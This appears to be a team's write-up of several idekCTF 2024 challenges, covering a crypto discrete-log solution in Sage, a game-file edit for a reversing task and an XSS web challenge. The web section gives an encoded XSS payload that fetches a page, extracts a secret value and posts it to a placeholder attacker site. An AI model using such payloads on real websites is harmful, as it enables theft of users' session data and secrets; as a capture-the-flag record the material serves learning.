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idekCTF 2024

tags: CTF

Player:

  • ywc
  • Pierre
  • Amias
  • MuMu

sanity

Welcome to idekCTF 2024!

Welcome to idekCTF 2024! Please join our discord for any announcements and updates on challenges.

image

idek{our_hack_fortress_team_is_looking_for_mvm_players}

Feedback survey

Thank you for participating in idekCTF, please let us know how we did!

Survey

image

idek{next_year_will_be_idek_2025...We_promise!}

misc

NMPZ - easy

Just a few completely random locations.

http://nmpz.chal.idek.team:1337

Downloads

nmpz1.tar.gz
  • bonaparte_1784
    • 1,1e3f2a0309b777b37b1bc12d01203339
  • beer_park
    • 2,ec72b5bdb83f858308142a0d3dde5714
  • mr_drains
    • 3,c82846bd8de1579487c290fe0ef30700
  • green_car
    • 4,399a088ff464a1a43ed3d6864c7f50b5
  • posuto_py
    • 5,fc26a083d35cb9d6b474580017f8bdfa
  • icc
    • 6,836c35892e7643f71668376d1716e44e
  • imax
    • 7,aef9cc02ac17e0a806c2204fceea74f1
  • panasonic
    • 9,a1e3b275a3e73cd964ffd840063204be
  • deja_vu
    • 10,201189c04aae837ab90f86c9d5747beb

image

idek{very_iconic_tower_75029e39}

NMPZ - medium

crypto

Golden Ticket

Can you help Charles - who doesn't have any knowledge about cryptography, get the golden ticket and have a trip to Willy Wonka's factory ?

Downloads

goldenticket.tar.gz

題目給了我們 $p$, $13^x+37^x \mod p$, $13^{x-1}+37^{x-1} \mod p$ 要求 $x$

$a = 13$

$b = 37$

$A = a^x + b^x$

$a^x = A - b^x$

$B = a^{x-1} + b^{x-1} = \frac{a^x}{a}+\frac{b^x}{b}$

$a \times b \times B = b \times a^x + a \times b^x = b \times (A - b^x) + a \times b^x = b \times A + (a-b) \times b^x$

$b^x = \frac{a \times b \times B - b \times A}{a-b}$

而 p-1 平滑，因此可以用 Pohlig–Hellman 來解 (i.e. sagemath discrete_log)

# solve.py
p = xxx
A = xxx
B = xxx
a = 13
b = 37

from sage.all import *

R = Zmod(p)
a = R(a)
b = R(b)
A = R(A)
B = R(B)

f = (a*b*B - b*A) / (a - b)
x = discrete_log(f, b)
print(x)

from Crypto.Util.number import long_to_bytes
print(long_to_bytes(x))

image

idek{charles_and_the_chocolate_factory!!!}

Web

Hello

Just to warm you up for the next Fight :"D

http://idek-hello.chal.idek.team:1337

Admin Bot Note: the admin bot is not on the same machine as the challenge itself and the .chal.idek.team:1337 URL should be used for the admin bot URL

bot有設 httpOnly: true 可以直接訪問 http://idek-hello.chal.idek.team:1337/info.php/index.php Ref1

不能使用空白比較麻煩可以替換成• Payload: http://idek-hello.chal.idek.team:1337/?name=%3CBODY%0cONLOAD=%22fetch(%27info.php\\index.php%27).then(r=%3Er.text()).then(t=%3Efetch(%27https://yoursite%27,{method:%27POST%27,body:t.match(RegExp(%27FLAG=([^%3C]*)%27))[1]}))%22%3E Ref2

idek{Ghazy_N3gm_Elbalad}

Reverse

Game

There is a json file named spritesheet, that defined the collision or icon position. So we just need to modify collsion to all zero and use CheatEngine speedhack to speed up.

    "obstacle_small_0": {
        "x": 228,
        "y": 2,
        "width": 17,
        "height": 35,
        "collision": [
            {"x": 0, "y": 0, "width": 0, "height": 0}
        ]
    },
    "obstacle_small_1": {
        "x": 245,
        "y": 2,
        "width": 34,
        "height": 35,
        "collision": [
            {"x": 0, "y": 0, "width": 0, "height": 0},
            {"x": 0, "y": 0, "width": 0, "height": 0},
            {"x": 0, "y": 0, "width": 0, "height": 0}
        ]
    }

Note: Do not use too fast speedhack or it could lead to overgo flag checkpoint.

image